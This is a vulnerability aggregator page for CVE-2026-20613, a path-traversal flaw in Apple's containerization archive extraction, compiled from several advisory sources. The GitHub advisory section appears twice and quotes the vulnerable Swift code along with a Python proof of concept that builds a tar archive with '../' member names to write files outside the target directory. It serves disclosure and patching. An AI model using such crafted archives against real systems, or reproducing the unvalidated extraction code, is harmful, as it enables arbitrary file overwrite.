CVE-2026-20613
Container and Containerization archive extraction does not guard against escapes from extraction base directory.
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.8
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.
- Record
CVE-2026-20613- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-4539
7.8
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.
- Record
EUVD-2026-4539- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cq3j-qj2h-6rv3
1.9
Container and Containerization archive extraction does not guard against escapes from extraction base directory.
Summary
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.
Details
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
/// Extracts the contents of an archive to the provided directory.
/// Currently only handles regular files and directories present in the archive.
public func extractContents(to directory: URL) throws {
let fm = FileManager.default
var foundEntry = false
for (entry, data) in self {
guard let p = entry.path else { continue }
foundEntry = true
let type = entry.fileType
let target = directory.appending(path: p)
switch type {
case .regular:
try data.write(to: target, options: .atomic)
case .directory:
try fm.createDirectory(at: target, withIntermediateDirectories: true)
case .symbolicLink:
guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
continue
}
try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
default:
continue
}
chmod(target.path(), entry.permissions)
if let owner = entry.owner, let group = entry.group {
chown(target.path(), owner, group)
}
}
guard foundEntry else {
throw ArchiveError.failedToExtractArchive("no entries found in archive")
}
}
PoC
Sample script make-evil-tar.py:
#! /usr/bin/env python3
import tarfile
import io
import time
tar_path = "evil.tar"
# Content of the file inside the tar
payload = b"pwned\n"
with tarfile.open(tar_path, "w") as tar:
info = tarfile.TarInfo(
name="../../../../../../../../../../../tmp/pwned.txt"
)
info.size = len(payload)
info.mtime = int(time.time())
info.mode = 0o644
tar.addfile(info, io.BytesIO(payload))
print(f"Created {tar_path}")
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt
pwned
Impact
Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.
Affects users of container image load in the container project.
These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.
- Record
GHSA-cq3j-qj2h-6rv3- CVSS 4.0
- 1.9 Low
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
7.8
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.
- Record
CVE-2026-20613- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
7.8
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.
- Record
CVE-2026-20613- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-cq3j-qj2h-6rv3
1.9
Container and Containerization archive extraction does not guard against escapes from extraction base directory.
Summary
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.
Details
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
/// Extracts the contents of an archive to the provided directory.
/// Currently only handles regular files and directories present in the archive.
public func extractContents(to directory: URL) throws {
let fm = FileManager.default
var foundEntry = false
for (entry, data) in self {
guard let p = entry.path else { continue }
foundEntry = true
let type = entry.fileType
let target = directory.appending(path: p)
switch type {
case .regular:
try data.write(to: target, options: .atomic)
case .directory:
try fm.createDirectory(at: target, withIntermediateDirectories: true)
case .symbolicLink:
guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
continue
}
try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
default:
continue
}
chmod(target.path(), entry.permissions)
if let owner = entry.owner, let group = entry.group {
chown(target.path(), owner, group)
}
}
guard foundEntry else {
throw ArchiveError.failedToExtractArchive("no entries found in archive")
}
}
PoC
Sample script make-evil-tar.py:
#! /usr/bin/env python3
import tarfile
import io
import time
tar_path = "evil.tar"
# Content of the file inside the tar
payload = b"pwned\n"
with tarfile.open(tar_path, "w") as tar:
info = tarfile.TarInfo(
name="../../../../../../../../../../../tmp/pwned.txt"
)
info.size = len(payload)
info.mtime = int(time.time())
info.mode = 0o644
tar.addfile(info, io.BytesIO(payload))
print(f"Created {tar_path}")
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt
pwned
Impact
Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.
Affects users of container image load in the container project.
These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.
- Record
GHSA-cq3j-qj2h-6rv3- CVSS 4.0
- 1.9 Low
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/apple/containerizationSwiftURL |
through 0.20.1 | 0.21.0 |
github.com/apple/containerSwiftURL |
through 0.7.1 | 0.8.0 |
github.com/apple/containerizationSwiftURL |
before 0.21.0 | 0.21.0 |
github.com/apple/containerSwiftURL |
before 0.8.0 | 0.8.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-20613 is a high vulnerability (CVSS 7.8) in Apple Container, published January 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in github.com/apple/containerization 0.21.0.